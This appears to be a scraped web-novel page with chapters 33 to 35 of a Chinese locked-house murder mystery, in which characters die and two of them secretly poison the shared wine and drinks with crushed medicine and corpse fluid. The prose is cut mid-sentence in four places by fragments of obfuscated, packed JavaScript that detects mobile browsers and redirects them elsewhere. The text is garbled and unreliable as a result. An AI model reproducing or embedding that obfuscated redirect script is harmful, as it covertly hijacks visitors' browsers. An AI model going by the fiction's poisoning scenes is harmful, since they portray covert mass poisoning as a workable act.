35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087898|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 走到余有为门口,正对面就是余有为的大厨房,平月有一瞬间羡慕他这里可以烧水。房间里坐满了人,却没有钱晓文。 平常钱晓文都是由悦凌凌去叫,今天悦凌凌没来,便没人去叫。平月顺着走到钱晓文门口,敲了敲门。 很久里面才应了一声,说马上来。今天熬的是鸡汤,平月站在走廊上等,能闻到鸡汤的香味,很浓厚。 她抱着保温杯,靠着栏杆看向对面,那是悦凌凌房间,对面半圈的房间门都紧闭着。平月的视线围着二楼绕了一圈,落在赵淑萍的房间,也关着,不知道她现在是睡着还是醒着。 正看着,钱晓文推门出来了。余有为正在炒腊牛肉,小米辣混着牛肉爆的香味飘得非常远,也非常吸引人。 平月在自己房间吃过早饭,也感觉自己饿了。 菜端上桌,没人忍得住,焦急地开始动筷子。也没人问悦凌凌怎么不来吃饭,锅里的鸡汤还在熬煮。 等吃完了饭,余有为掀开锅盖,那鸡汤味更浓了,远远飘出去,钻入人的鼻腔。 他舀上一大碗,剩余的一锅直接端到桌上让他们吃。他端着鸡汤、饭、青菜,去了赵淑萍的房间。 去的时候,正巧看见悦凌凌在她自己房间门口鬼鬼祟祟地东看西看,不知道在看什么,突然看见他,愣在那里。她的眼神很直白,不是在看余有为,是在看余有为手里的托盘,上面有鸡汤,很香的鸡汤。隔着这么远,她都闻到了,在舔嘴。 余有为很烦她,直接进来赵淑萍房间。 悦凌凌滞在门口,明明刚喝了很多的饮料和酸奶,肚子是饱的,可是在闻到对面传过来的饭菜香味,看见余有为端的托盘,她的肚子一下子就饿了,就像被抽了真空,胃部扁扁的,在这一瞬间,竟然比没喝酸奶之前饿得更厉害。 饿得她想吃人。 她能看见余有为的房间门大敞着,他们坐在桌前,有一口大锅摆在桌上,他们吃得非常香。 悦凌凌好恨,以前他们吃饭,她洗菜、端碗拿筷添饭,还得去挨着挨着叫人吃饭。现在她没有去,都没有人来叫她。 那她以前去叫他们吃饭算什么?算自己嫌饭菜多,非要叫他们一起过来消灭? 屁,饭菜根本不多。食材只有一筐,而他们有很多人,每顿饭都是抢着抢着吃的,生怕自己少吃了一口。 那些饭菜不够他们吃,勉强混个八分饱。 现在她没去,他们特别开心吧?少了一个人吃饭,他们就可以吃到更多。 悦凌凌紧紧拽住了拳,她发现他们好自私,根本就不是人。以前她那么为他们忙碌,现在,他们却很开心她没去。 站在这边,悦凌凌都能听见对面房间里传出来的笑声。特别扎耳,让她想嘶吼。体内腾升而起的愤怒和嫉妒让她控制不止地想摔打东西,想冲过去质问他们为什么不来叫她吃饭,想把对面屋子里的一切都破坏掉。 他们不可以那么开心!不可以笑!不可以不来叫她吃饭!为什么不来叫她?为什么? 她好希望他们去死。 对,去死。都死掉就好了,就没有人知道她做过的事情,就没有人和她抢吃的,就没有人用那种令她害怕的眼神看她,她也不会像现在这样,做什么事情都偷偷摸摸和做贼一样,明明她是花了钱来学习的…… 全部死掉了……她就轻松了…… 悦凌凌拉上门,抓起桌上的饮料咕噜咕噜灌。灌了一半,打了一个嗝。她拿着饮料瓶,站在那里。 窗玻璃上倒映出她的影子,倒映出背后的时间,中午十二点。一看见这个时间,她就想起刚才看见的场景,想起他们的快乐,他们有说有笑的场面…… 手里的饮料瓶被她捏扁了,饮料从瓶口漫出来一点,流到手上。手心顿时黏糊糊的。 忽然,脑海里腾起一个想法。 她立在窗前,嘿嘿地笑了。 33. 第 33 章 第二天的午饭,空气里飘出极香的炒菜味。悦凌凌深深嗅了一口味,后知后觉自己好像没那么饿了。 人只有刚开始饿的时候饿得最凶,越往后面,除了身体有些软、头晕、腿无力之外,饿感并不那么强烈了,是在能忍受的范围之类。 她喝了一瓶很甜的饮料,然后出了房间,贴着走廊的墙壁往钱晓文的房间移动。 他们吃得很高兴,很开怀的笑声从里面传出来。谁也没有注意到她出门了。 所有房间的门只能从里面反锁,无法从外面锁住。因为他们没有钥匙。 悦凌凌很顺利地潜进钱晓文房间。站在门口与金属立柜之间的空隙,心脏跳得急速快,很紧张。 她紧紧握住手,指甲掐着中指的边缘肉,不断地摁、掐,那种压迫性的有点痒、有点痛又有点舒服的感觉压制住了心底的紧张。 没什么大不了的,不过是个杀人现场而已——悦凌凌告诉自己又不是自己杀的人,紧张什么。 她绕过立柜,下意识就往上回看见尸体腿的地方扫。尸体仍在原位,躺在担架上,旁边的小推车摆满各式各样的工具。那只残缺破烂的腿已经变得非常漂亮,冷光灯下看起来白嫩嫩的。 悦凌凌有些诧异,这种变化太大了,她有点好奇地走过去看。那具尸体的其余位置依旧很破烂,全身的皮好似从身体上扒了下来,还不是完整的扒,是一寸一寸的扒,有些地方没扒干净,残留着皮肉组织。有些地方扒深了,露出发黑的骨头。 面目全非,看不见他的容貌。头发也被剃光了。手指断了几根,腰间连着肚子的肉被割了。 完全瞧不出这是一个肥还是瘦的人,唯一能看出来的就是一个男人。小推车上的工具沾满了各种血和粘浆之类的粘稠物,地上的桶里满满当当的皮肤和血肉。架子上挂着血包。 空气里充斥着混着消毒水和形容不是什么臭味的味道,难闻。闻多了闷脑袋,晕晕的,鼻子也痒痒的。 在尸体头顶的墙上看见了“扫描作业”的按钮。 作业? 钱晓文的作业。做什么? 悦凌凌看不懂,也分辨不出这具尸体是她的作业,还是别的什么。反正和她没关系。 她在小推车上下翻翻找找,找到了一支用过的注射器。里面的药液被推空了,但因为放得有些久,注射管漫着一点雾气。被藏在小推车最下面的角落。 悦凌凌捡起来,扯几张纸裹住针尖,揣进裤兜。 没敢再看了,怕钱晓文回来。她匆忙退出房间,贴着走廊墙壁走回去。 刚刚回到自己房间,周志端着盛饭碗的托盘出来,准备去赵淑萍那里。他站在走廊上,往悦凌凌那边看了一眼。悦凌凌躲在门后,克制不住的紧张,她在担心是不是周志看见她出门了? 周志看得越久,她越害怕。手心都出了汗。揣在裤兜里的注射器刮得她腿疼。她拿出来,放到门旁的柜子上。放下后,抬眼从门铃往外面看,周志已经走了。她狠狠松了一口气。 转身回到房间中央,拿起桌上的饮料灌了半瓶。然后拉开椅子,坐下来,翻开书。 她从赵淑萍那里拿来的药正摆在书里,她抖到桌面,用金属勺子压碎,碾成细细的粉,装进干的水杯。 下午,她站在门后,等走廊上没人的时候,匆匆跑到楼下,从冰箱里抱一大兜饮料到房间。连跑了几趟,冰箱里的饮料被搬得只剩下十几瓶。 悦凌凌数了数房间里的饮料,187瓶。足够她喝很久了。而且……不久之后,她将拥有吃不完的菜。每每想到这里,她便忍不住扬起嘴角笑起来。 这一晚,悦凌凌睡得很安稳,前所未有的安心。她做梦梦见自己怀抱吃不完的菜和米,还有小零食和饮料。烤鸭、鸡腿、东坡梯子、狮子头……挤满整张桌子。 让她吃不完,扔都扔不完。 她乐得哈哈大笑。 …… 钱晓文在修复尸体的时候,很猝不及防地发现注射器不见。她的注射器有很多,没拆封的、用过的,都在小推车和储物柜里摆着,独独是她用过的那支——给范明胜用过的那支,不见了。 她焦灼地蹲在地上找,趴在地上用手电筒的光往各个缝隙里扫,没有,完全没有。她记得是放在小推车最底层的角落里,因为不敢扔。如果从她房间的垃圾回收口扔掉,以后查验,会查到她吧,所以她一直在等合适的机会和时间点扔掉它。 机会没等来,等来了它的失踪。 谁来过她的房间? 为什么拿走那支注射器?是知道她做了什么吗? 其余东西没有被动过,也没有少东西,只有那支注射器不见了。 钱晓文坐在椅子里,不断思考。昨晚,注射器还在……?她不记得了。但记得,前晚还在的,那时她在小推车最下层找东西,翻过它。 是昨天被人拿走的,还是今天? 她不在房间的时间点只有中午。昨天中午,吃饭前,余有为给赵淑萍送过饭,有机会进过她房间。悦凌凌没去吃饭,也有机会进入她房间。今天是周志去送饭,也可能进过她房间。 余有为、周志、悦凌凌。 这三个人……都和赵淑萍的关系很好啊。 如果赵淑萍把在她房间里看见的事情告诉过他们,他们来她房间好像是无可避免。但独独拿走那支注射器,是拿的人知道她做了什么吗? 谁会知道? 那晚很晚了,客厅没人,走廊也没人,谁会知道? 钱晓文想来想去,都不太确定是谁。这让她感到烦躁和焦灼。她不断拉扯头发,发根将头皮扯得紧绷绷的,让人舒服又不舒服。 舌头舔着嘴,嘴皮干涸得能刮痛舌头,口干舌燥,想喝水。嘴里干到发苦,眼睛开始发晕,看床单都是糊的,在视野里飘来飘来地旋转,像太阳射进了瞳孔,世界在视野里是完全模糊的状态,从空气里溢出水来,黏糊糊地糊住了眼皮和身体。 水,要水,喝水。 她撑着床尾,跪在地上,晕头转向地到处找水。没有,屋子里完全没水。她拉开房间门,扑了出去,冲到楼下,打开冰箱,抽出一瓶水就开始灌。 冰凉的冷气解了渴,但入口是甜的,让她皱了眉。她不喜欢吃甜食,不喜欢喝甜水,她只喜欢喝矿泉水。 她放到一边,重新抽出一瓶矿泉水,仰头猛灌。这种味道的水非常对她的胃口,身体发出极馋的信号。她灌得有点凶猛,水迹从嘴角滑下。 灌完一整瓶,睁开眼时,视野里撞进一个人,立在走廊栏杆前。 张情。 她居高临下地俯视她,手里提着一瓶红酒,只看了一眼,掉头进了陈宇南房间。 有点奇怪,诡异的奇怪。钱晓文忽然意识到张情不是这种一言不发的人,放在平时,张情看见她这样喝水,大概会骂一句“神经病”,或者嗤笑着怼两句。 刚才,张情看她的视线非常的…… 钱晓文的脑海嗡地炸响了——拿走那支注射器的人一定知道什么,他拿走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093187|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了注射器,还有可能告诉了别人。 这个房间里,不止一个人知道她杀了范明胜…… 啊…… 她泄气地跌坐在地上。原以为自己藏得很好,她躲开了赵淑萍,检查了走廊上没有人,甚至下楼的时候观察过谁的房间里的灯亮着。陈宇南、周志、张情的房间里的灯亮着。这三个人是惯性熬夜,每天晚上都亮着灯。 注射是很短暂的时间,她没听见过开门声,所以不可能有人看见的。 但还是被看见了吗? 钱晓文有点恍惚。她开始想不起来自己为什么来这里,也想不起来自己为什么要那样做,更想不起自己接下来要做什么。 不……她忽然站了起来。不可以这样……她要回去,回去继续工作,回去赚钱,她要存钱,买房子,在平城有一个自己的家。 她以后的生活只会越来越好,不会再像以前那么烂。 她的人生才刚刚开始,不可以被一个臭流氓截断。 提了几瓶水,匆匆回到房间。 有些事是很简单的,比如不想让别人知道自己的事情,就让别人闭嘴。不想自己的事情被传得很远,那就让知道事情的人闭嘴。 至于她……她是一个入殓师,摸过的尸体比法医还多,比这里所有人见过的尸体加起来的总和还多。 钱晓文最怕什么,她说不清,可能怕会飞的蟑螂,可能怕从臭水沟爬出来的老鼠,可能怕狗。唯独,最不怕的就是尸体,她从不怕尸体。 不怕死人。 她从储物柜翻出一包注射器,一一摊开在小推车上,坐在尸体前,继续修复尸体。 已经修好两条腿了,接着是臀部。 腐烂的尸液从体内涌出,她拆开注射器,从中抽取一管,搁在旁边,再抽一管。放下第二管的时候,她顿住了。仅仅是三秒,她将抽取出来的尸液推进尸体体内,扔掉注射器。拿着新的注射器去了楼下。 她站在沙发前,明亮的灯光下,沙发布沾血后氧化到发了黑,弥漫着一股尸体的腐烂臭。 经常闻这种味道,她习惯了。掀开沙发布,裸露出来的范明胜截断的右腿根溃烂不堪,上面盖满了蛆,凑近看能看见它们在蠕动,细微的涌动地吞噬他的烂肉。 注射器插进那里,钱晓文抽出了六管腐烂的尸体的液体。注射器的针尖帽盖盖上,放回衣兜,盖回沙发布,走到厨台后面。 一个酒柜,一个冰箱。她拉开酒柜的玻璃门,里面的红酒是躺着放的,一排六瓶,六瓶上面躺着三瓶,三瓶上面躺着一瓶。 注射器刺穿红酒的木塞子,往里面推送尸液。注射完最上面两排的红酒,她关上门,打开冰箱。 冰箱里的饮料不多了,都被搬空了。被谁,随便一想就能猜到。 她拿了几瓶矿泉水出来,往别的饮料里注射。然后盯着架在炉灶上的烧水壶。只看了一眼,她收回视线,带着矿泉水上了楼。 楼道静悄悄的,陈宇南、周志、赵淑萍的房间亮着灯,灯光从门缝漏出来。 她路过陈宇南的房间,传出细碎的声响。路过周志的房间,安安静静。路过赵淑萍的房间,里面有惊呼,惊惧恐慌的声音。 钱晓文站在门口,将耳朵贴到门上,听得更清楚了。她听见赵淑萍颤颤巍巍地说话,过于害怕,导致吐字不清,一句话说得断断续续。钱晓文勉强听见一个“你”字。 而后,没声音了。 屋内岑寂。 钱晓文站了一会儿,回了自己房间。 34. 第 34 章 自从上一次赵淑萍晕倒后,余有为习惯性每天早上醒来去看一下她。 这天,他冲了凉,套上衣服,把出餐口的食材拿出来放到厨台上,再掏出早餐,点支烟,拎着去赵淑萍房间。 早餐是香菇鸡肉饺子,带一碗紫菜鸡蛋汤,还有一小碟泡萝卜。 都是赵淑萍喜欢吃的。 这么多天,这是第一次出来比较符合赵淑萍口味的早餐。他心情还不错,哼着歌,敲了敲赵淑萍的房门。没人应,不知道是睡着没听见还是怎么。 他等了等,说了一句“我进来了”才推开门。 赵淑萍的房间入门口左边的鞋柜,右边是衣柜,床在衣柜的后面,得顺着入门口的通道直直进去才能看见更里面的空间。 余有为走进去,走过鞋柜后,顺手将早餐往电视机下方的柜子上放,然后向床的方向转头,“我带了早餐,是您爱吃……”视线落在床上,话戛然而止。 赵淑萍仰躺在床上,睁着一双鼓到格外大的眼睛,惊悚地盯着某个位置,嘴巴也大大地撕开着,一动不动,像吓傻了,像呆滞了。 余有为的呼吸骤然停了一下,跑过去探她的鼻息。没有。探她的脉搏,没有。 浑身冰凉。 …… 赵淑萍死了。 按照钱晓文的经验,赵淑萍死了有八个小时了。 死不瞑目的样子给所有人的心底蒙上一层阴霾。她的死状,毫无疑问是被吓死的。 死前看见了什么?没有人知道。 钱晓文说她没听见有动静。张情说她在陈宇南房间,没有回去。余有为说他早上醒来,大概是九点过,洗漱后就看赵淑萍,进门就看见她死了。 梁威站在房间中央,脸上神情沉重。他已经将屋里屋外全侦查一遍了,没有任何异常痕迹。门锁完好,赵淑萍卧床的这段日子,房间门的锁一直开着,方便人进出给她送饭,没有反锁过,意味着所有人都可能在昨晚半夜时分进入过她的房间。 平月、悦凌凌、周志、余有为都说昨晚在自己房间里,没有证人。梁威不好说什么,因为他也在自己房间,没有证人。 周志:“那现在怎么办?” 梁威:“封锁房间,警察来之前,谁也不许进。” 所有人退出房间,梁威从楼下拿来锁地下室的那条铁链,缠绕在门把手与壁灯的铁架上。锁链很重,如果有人进房间,拿下锁链会发出很响亮的铁链之间的碰撞声,能让所有人听见。 当然,如果有谁想进房间,那嫌疑可太大了。 每个人各自回到房间,将门反锁起来。赵淑萍的死状在告诉他们一件事——范明胜是被谋杀的,凶手在他们之中。 现在赵淑萍死了,下一个是谁? 在无法确定谁是凶手之前,唯一能做的是,防备每一个人。 悦凌凌躲在门后偷偷笑,捂着嘴,怕被隔壁的陈宇南听见。想起陈宇南,她不笑了,瞳孔流露出憎恶的恶意。要是死的是陈宇南……就好了…… 她这样想着,甚至摩拳擦掌,希望陈宇南能死得快一点。 中午的饭,照常吃。十一点钟的时候,大家陆续打开门,往余有为那边走。最先过去的周志,他进了余有为房间,开始打理菜。 余有为坐在窗边抽烟,没回头。 水哗哗流进盆里。周志说:“你和她很早就认识吧?” 余有为“嗯”了一声。 周志说:“看得出来,你太紧张她了。” 手里的烟抽完了,余有为丢在地上,从烟盒里抽出一支,点上。 “有些事。” 周志没问什么事,他关上水,将剥干净的大葱沉进去洗,洗完放在滴水篮里。 “很早之前了。”余有为突然说了一句,“快有二十年了。” 周志说:“和她的死有关系?” 余有为摇头,“不知道。” 窗外的雨非常的大,他盯着那盆泼一样的雨,在想山下应该涨水了。而且涨得很大,一时半会不会有人上山来。 余有为其实分不清现在的情况,他和赵淑萍时隔近二十年在这里遇见,是蓄谋已久还是巧合?赵淑萍死了,是蓄谋还是巧合?谁在蓄谋?巧合……不像。 谁在蓄谋?赵淑萍的大儿子送她来的,那是一个很好的老板,如果真是他在蓄谋……不对,因为老板也有责任,是重责。 当时,除了他们三个人,没有别人了。 周志……他回头看周志,他在剥蒜,今天有鱼,余有为没说需要作料,他已经先一步备上了。悦凌凌不来之后,一直是周志在忙碌,不需要余有为说什么,他好像会预知,将他需要的一切都准备好。这个男人,平时在家里经常做饭吧? 余有为开始头疼,来这里之前,他没见过周志,不认识这个人。梁威和张情也不认识,没见过。陈宇南、悦凌凌、平月这些年纪小了他快一轮的年轻人,更加不认识。 也许他们去他的餐馆吃过饭?可听平月的语气,他们是没去过的。所以,什么原因,让他们和他和赵淑萍一起相遇在这里? 杀赵淑萍的凶手也会杀他吧?杀了他和赵淑萍,这些人呢?也会死吗?为什么死? 余有为的头很痛,痛得眼角痉挛,下嘴唇控制不住地抽搐起来。 他抬手拍拍脸,再揉一揉,终于不抽了。 “你今年多大?”周志将剥干净的蒜丢进碗里。 余有为猛吸一口烟,看窗玻璃上倒映的沧桑的影子,叹气:“41了。” 周志笑道:“比我大几岁。” 余有为没出声,周志又说:“20年前,是10年吧?” 余有为没有任何停顿:“12年。” 周志:“记这么清?” 问完这句话,周志的脸色也变了。 12年啊……真是让人难忘的一年。 周志丢下手里的生姜,开始处理小米椒。 “中午做个剁椒鱼头吧,很久没吃过了。” 余有为抽完最后一根烟,烟盒里没烟了。又懒得拆新的,拆开了会忍不住一直抽下去。他扔掉烟蒂,过来处理鱼。 鱼是新鲜的,他用刀划开水袋,水流进水槽里,鱼在拼命摇摆。尾巴拍起的水花乱溅。 “这鱼这么新鲜,不会是早晨才装进袋送来的吧。” 周志笑着提出水袋,扔进垃圾桶。 “你说,每天的饭菜和你的食材是谁送来的?从哪儿送来的?我记得一日三餐是热的,新鲜的,口感很好,刚出锅的。难道这地底下还有厨房不成,每天给我们做饭菜?” “你还看见哪里有出入口?”梁威走进来。 周志耸耸肩:“没看见。推测嘛。不然怎么这么新鲜?” 梁威提议:“等会去趟地下室?” “别。”周志摆手,“你身手好,你去吧,我惜命。” 地下室是个密封地点,如今谁都有可能是凶手,谁也不会把自己和别人置于一个危险的地方,太要命了。 梁威没再要求。要求多了,会让人觉得他是凶手,迫不及待地想杀下一个人。 刀刃的寒光闪烁,余有为一刀斩下鱼头,顺手将鱼身体极快地处理干净。 没有赵淑萍,也不用炖那些费时间功夫的清汤了。排骨做红烧,鱼做糖醋,鱼头做剁椒,酸菜粉丝汤,豆腐做猪油渣豆腐……一顿午饭做得很快,菜端上桌。除了悦凌凌之外的所有人都来了。 周志笑道:“小悦这姑娘真是……又倔又能忍。不饿么?” 张情嗤笑:“这毅力,干什么不成?别不是她杀的人,不敢过来……”话没说完,就被梁威踢了一脚。她眼睛一瞪,笑眯了眼,“踢我干嘛?没找你喝酒吃醋啦?” 梁威冷笑。 “不然呢?”张情摊手。 “唉,喝杯酒吧。”周志薅过张情提来的那瓶红酒,往水杯里倒,“大家都来一杯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098189|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心事繁重,就爱喝酒。喝酒解愁。 一人一杯,倒到平月那处,周志笑着问她要不要喝。平月摇摇头。周志又问她要不要饮料。平月说只喝热水。周志便不劝了。 张情笑她:“怎么年纪轻轻活得跟老太婆似的?” 平月:“身体不好。” 张情:“哪儿不好?” 平月:“哪儿都不好。” 眼看气氛越来越怪,周志忙打圆场,替他们转移话题,问所有人:“12年你们在做什么?” 空气刹那寂静。 隔了许久,张情嗤声:“你还不如不说话,12年……都十多年前的事情了,谁还记得?” 周志笑笑,垂下了视线,浓密的睫毛掩盖了眼底的幽暗。再抬起头来,又恢复了往常的笑容,“我记得那时候我刚出来实习。” 张情饶有兴趣:“做什么?” “记者。”周志喝了一口酒,“第一次报道就出了问题。” 大家的注意力都被吸引了过去,问他采访什么。余有为也点上一支烟,听得津津有味。 周志喝了大半杯,还没有说出下一话。 张情:“有那么不堪回忆嘛?” 周志放下酒杯,声音缓缓溢出来,一字一顿,一句一句地说:“在平城,交汇路78号,十字路口。” 每说一句,余有为的脸色铁青一块。直到一句话说完,余有为的烟掉在了地上,手抖得厉害。 饭桌上,寂静无声。 周志像是没注意到,继续说:“师父打电话说那里发生了一起车祸,撞得挺严重,我离得近,让我先过去拍拍现场照。那是我实习期第二次外出拍摄,第一次是跟师父一起去拍下水道,有个小区的下水道堵了,臭水涌得整个小区的路面都是,小区极臭,住户都在打电话投诉。” “说远了。”他抬起手指摁摁太阳穴,“这个酒度数有点高,比之前的高。” 张情说:“对啊,76年的,好喝吧?” 周志:“醇,香,回口甜。” 梁威突然出声:“你去之后?” “哦。”周志似乎才想起自己刚才说的话还没有说完,不过他不急着说了。他反问梁威:“那时候你在做什么啊?” 梁威说:“一样,实习。” 周志:“实习什么?” 梁威:“辅警。” 周志笑道:“平城?” 梁威点头。 周志转头问余有为:“你呢?” 余有为浑身都在颤抖,说不出话来。 周志又转头问陈宇南:“你呢?” 陈宇南愣了半响,猛地惊回神,说:“读书啊。” 周志问张情:“你呢?” 张情撩撩长长的卷发,卷发从肩头甩到后背,“不记得了,大概在和男人交往吧?” 周志问钱晓文:“你呢?” 钱晓文说:“忘记了,可能在读书。” 周志问平月。 平月说:“读小学。” 周志说:“悦凌凌也在读书吧?范明胜呢?他的年纪应该和余有为差不多,在做什么呢?赵淑萍很大了吧,在做什么呢?” 沉默。 谁也没开口接他的话。 周志说:“我跑去了现场。去迟了,救护车开走,发生车祸的两辆轿车被拖走了,地上只留着一摊碎壳。师父赶来的时候把我臭骂了一顿。” “知道我什么去迟了吗?” 周志笑眯眯的,盯着餐桌上的所有人。他说:“其实我们应该把悦凌凌叫来。” “因为,在交汇路133号,还发生一件事,重大事。我在那里……被耽搁了。” “悦凌凌呢?” “去哪了?” “我想了想,或许,我见过你们。在交汇路133号。” “在那里,还发生了一件事,重大事。我在那里……被耽搁了,也在那里……见过你们。” 35. 第 35 章 悦凌凌推开门。余有为的房间很热闹,他们在开红酒瓶喝酒。 赵淑萍死了,他们在喝酒庆祝。悦凌凌笑了一声,觉得真好笑。没死之前,大家关心赵淑萍的样子还以为很重情重义,很有良心。 不过如此。 她贴着墙壁,下了楼。 拉开冰箱,冰箱的门是往右边开的,悦凌凌的个子小,站在门旁边,那扇冰箱门正巧将她遮挡完全。 第一次做这种事是很慌的,手抖。她冷笑着摸出注射器,注射器的针筒吸满了浑浊的水。那是赵淑萍的药磨成的粉,用水冲开。 好像是什么布来什么药。悦凌凌没听过,但她只有这一种药。手抖得厉害,针尖从饮料的瓶盖侧面往里注射,只加一点点,摇匀,这样,便看不出来加了东西。 每一瓶饮料注射完。她从衣服里拿出装着药水的瓶子,注射器抽一针管,拉开酒柜,往红酒里的灌。 一瓶一瓶红酒,灌得非常多。因为她知道,红酒是张情最爱喝的,每天两三瓶。陈宇南也喝。 只要想到陈宇南和张情躺在房间里的样子,想起他们拿着红酒一起喝的样子,心底便压抑不住地愤怒。 愤怒到想爆笑。 喝吧喝吧,爱喝多喝。 将所有的药水全部灌完了。她藏好空水瓶和注射器,往楼上走。 “悦凌凌。” 梁威站在余有为的房间门口,手扒在栏杆上,叫她。 悦凌凌差点踩空了台阶,她仓皇地抬起头,脸都吓白了。 看见了?看见了吗? 不知道看没看见,梁威的脸一如既往的严肃,他说:“这边来。” 悦凌凌立刻全身戒备:“干什么?” 梁威:“吃饭,不饿啊?你两天没吃饭了吧。” 原来是叫她吃饭。他依旧肃着脸,却说出那么温柔的话。有一瞬间,悦凌凌在后悔自己的行为。 仅仅是一瞬间,下一秒张情走了出来,单手搭在梁威身上,笑着盯悦凌凌:“一脸心虚,不会干坏事了吧?” 心里的后悔和犹豫通通消灭的一干二净,悦凌凌甚至比下楼时更加坚定自己的做法。 她对张情扬起笑,心里骂了一句“去死吧”,向梁威走了过去。张情扭身下了楼,从酒柜里提了一瓶红酒上来。悦凌凌眼角瞥见,脸上控制不住地笑起来。 周志舀了一碗饭,递给悦凌凌,“坐下吃。” 悦凌凌有些错愕,那一碗饭打得非常满。她以为发生那件事之后,他们会非常讨厌她,不想看见她,没想到周志…… 周志见她久久不接,直接将碗筷放在桌面,让她坐。悦凌凌坐下来,刚刨第一口饭,周志就问:“12年你在做什么?” 悦凌凌愣住了。 嘴里的米饭变得非常的干巴无味,明明在上一秒钟,米饭香得她口水都要流出来了,香得她习惯饥饿的身体发出嘶嚎,香得她在心里想等会舔盘子都要舔干净一些,顺便感谢一下周志、梁威、余有为。 但是,他问这个做什么? “12年你在平城?”周志又问。 悦凌凌点头。 “读书?” “嗯。” “哪里读?” “陆中。” “那个小学和初中合并一起的学校?” “对。” 悦凌凌说。 “我是转校生,以前在焦作。爸爸的工作调到这边,我和妈妈跟过来了。” “12年。” 周志端起酒杯。酒杯空了。他便放下了。 “都懂了吧?” “懂什么?”张情提着红酒进来,等她用高跟鞋勾开椅子坐下时,红酒的木塞子被起了出来。 悦凌凌盯向那瓶红酒,眼里浸出亮光。钱晓文也溢出了笑意。 张情一手拿酒瓶,一手拿酒杯,问周志要不要再来一杯。 周志说:“12年,我们都在平城。” 张情:“那又怎么样?” 周志:“是交汇路133号那件事吧,我们的交集点。如果我没有记错,那是1月4日的夜晚,你们在交汇路做了什么?” 酒瓶碎了,“嘭”地一声,暗红的酒水和玻璃渣子四处飞溅。寂静的空间登时飞出了噪音,大家挪开板凳,掀起桌步,有人脚步凌乱地跑去拿抹布,有人蹲下身捡玻璃碎片,有人拖来垃圾桶,大家忙成一团,像在刻意避开什么。 周志知道他们都听见了。 这一次,张情笑得有点力不从心,她摊开手,说:“上一瓶红酒的度数确实高,都把我醉着了。” 悦凌凌眼里露出失望。钱晓文说肚子疼,先回去休息了。梁威问张情有没有被伤着。张情说没有,“不过脑袋疼,我也回去了。” 大家陆续离开。 平月坐在餐桌前,夹了一块鱼肉。今天的午饭大家都没怎么吃,桌上还有很多菜。这盘糖醋鱼甚至没人动过。她问周志和悦凌凌吃不吃,周志笑着说:“你吃。”替她挪到她面前。 悦凌凌埋头刨饭,像一台机器,除了米饭什么都不吃。 余有为傻坐在椅子里,目光空洞。 陈宇南也走了。梁威将地上的玻璃渣抹完了,也准备走了。周志叫住他,“你是警察,不听听我们为什么在这里?范明胜和赵淑萍为什么会死?我们会不会死?” 梁威只好坐了下来。 房间里只剩下他们几个人。余有为、梁威、周志、悦凌凌、平月。 平月专心致志地吃鱼。周志问她怕不怕。平月说:“你说的那个地点和时间我没有印象。12年1月4日是星期几?” 周志说:“星期三。” 平月:“我在学校吧。小学和初中读的是私立学校,住校,一周一次假。那年除夕夜是多久?” 周志:“1月22日。” 平月:“我们学校除夕前一个星期放假,一直到正月十五放完。1月4日,我在学校,所以和我没关系。” 她喝了一口热水,问周志:“你的意思是,我们来到这里,是被人安排的,因为我们在12年1月4日做了什么错事,杀人还是放火?然后那个应该死掉的人没死成,在十八年后的今天,将我们聚集在这里,要杀死我们?” 周志:“可以这样猜测。” 平月感到疑惑:“那时我才五岁,能做什么?” 周志:“也许是你的父母。” 平月:“我读寄宿的原因是因为我的父母经常出差,周末才回来,假若没有估算错误,1月4日是星期三,他们应该不在平城。” “对啊。12年我才六岁,刚上小学,我能做什么?”悦凌凌回过神来。 周志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101228|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也问她:“你父母呢?” 悦凌凌顿住了。她还真不知道。 两个小女生,12年的时候,一个5岁,一个6岁,什么都记不住的年纪。问是问不出什么事情的。他转头去问梁威,“你不记得交汇路133号发生的事了?” “吃完了吗?”余有为突然出声,“吃完了我好收拾了。” 